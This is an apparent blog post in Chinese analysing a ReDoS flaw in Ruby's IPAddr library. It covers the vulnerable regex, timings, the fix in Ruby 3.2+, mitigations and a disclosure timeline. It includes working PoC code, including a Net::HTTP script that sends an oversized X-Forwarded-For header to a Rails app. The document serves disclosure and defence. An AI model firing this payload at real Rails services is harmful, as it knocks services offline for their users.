Ruby IPAddr正则表达式拒绝服务漏洞(ReDoS)分析与修复

本文详细分析了Ruby IPAddr库中存在的正则表达式拒绝服务漏洞(ReDoS),包括漏洞原理、PoC验证、影响范围以及修复情况。该漏洞影响Ruby 3.1及以下版本,可通过恶意构造的IP地址参数导致服务拒绝。

Ruby IPAddr ReDoS漏洞分析报告

漏洞概述

在Ruby的IPAddr库中发现了一个正则表达式拒绝服务(ReDoS)漏洞。该漏洞存在于IPAddr.new方法中,当处理特定格式的恶意输入时,会导致正则表达式匹配时间呈指数级增长。

漏洞详情

漏洞位置

1
2
3
4
5
6
7
# lib/ipaddr.rb 第525行
def mask!(mask)
  case mask
  when String
    case mask
    when /\A(0|[1-9]+\d*)\z/  # 存在漏洞的正则表达式
      prefixlen = mask.to_i

漏洞原理

正则表达式/\A(0|[1-9]+\d*)\z/在处理超长数字字符串时存在ReDoS风险。攻击者可以构造特殊格式的输入,如"0.0.0.0/" + '1' * 50000 + '.',导致正则匹配时间急剧增加。

影响方法

该漏洞影响以下IPAddr方法:

  • IPAddr.new
  • include?
  • ==比较操作
  • |&位操作

PoC验证

基础PoC

1
2
3
4
require 'ipaddr'

# 触发ReDoS
IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')

性能测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
require 'benchmark'
require 'ipaddr'

def ipaddr_new(length)
  text = "0.0.0.0/" + '1' * length + '.'
  IPAddr.new(text)
rescue IPAddr::InvalidAddressError
  nil
end

Benchmark.bm do |x|
  x.report { ipaddr_new(100) }     # 0.000055秒
  x.report { ipaddr_new(1000) }    # 0.002968秒
  x.report { ipaddr_new(10000) }   # 0.302580秒
  x.report { ipaddr_new(100000) }  # 31.255489秒
end

Rails应用影响

受影响组件

ActionDispatch::RemoteIp中间件默认使用IPAddr进行IP地址验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# action_dispatch/middleware/remote_ip.rb 第172行
def ips_from(header)
  return [] unless header
  ips = header.strip.split(/[,\s]+/)
  ips.select do |ip|
    range = IPAddr.new(ip).to_range
    range.begin == range.end
  rescue ArgumentError
    nil
  end
end

Rails攻击向量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
require 'net/http'

url = URI.parse('http://127.0.0.1:3000/')
req = Net::HTTP::Get.new(url.path)
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'

# 发送恶意请求触发ReDoS
res = Net::HTTP.start(url.host, url.port) {|http|
  http.request(req)
}

修复情况

Ruby 3.2.0修复

在Ruby 3.2.0中,通过正则表达式引擎优化解决了此问题:

1
2
3
4
5
6
# Ruby 3.2.0性能测试结果
       user     system      total        real
   0.000031   0.000001   0.000032 (  0.000031)
   0.000056   0.000077   0.000133 (  0.000134)
   0.000385   0.000050   0.000435 (  0.000435)
   0.003579   0.000456   0.004035 (  0.004035)

Ruby 3.3.0确认修复

1
2
3
4
5
6
# Ruby 3.3.0性能测试结果
       user     system      total        real
   0.000044   0.000008   0.000052 (  0.000051)
   0.000073   0.000007   0.000080 (  0.000079)
   0.000565   0.000050   0.000615 (  0.000614)
   0.005460   0.000551   0.006011 (  0.006022)

影响评估

  • 影响版本: Ruby 3.1及以下版本
  • 修复版本: Ruby 3.2.0及以上
  • 攻击场景: 任何接受用户输入并传递给IPAddr.new的应用
  • 特别风险: Rails应用默认配置下可通过HTTP头攻击

缓解措施

  1. 升级到Ruby 3.2.0或更高版本
  2. 对用户输入的IP地址进行长度限制
  3. 在反向代理层(如nginx)限制HTTP头长度(默认约8KB)
  4. 避免将不可信输入直接传递给IPAddr.new

时间线

  • 2022-02-19: 漏洞报告提交
  • 2022-03-07: Ruby团队确认为有效漏洞
  • 2022-12-28: 确认Ruby 3.2.0已修复
  • 2023-12-26: 确认Ruby 3.3.0修复稳定
  • 2025-06-03: 漏洞标记为已修复
  • 2025-06-08: 报告公开披露

该漏洞已在Ruby 3.2.0中通过正则表达式引擎优化得到修复,建议所有用户升级到受支持的Ruby版本。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计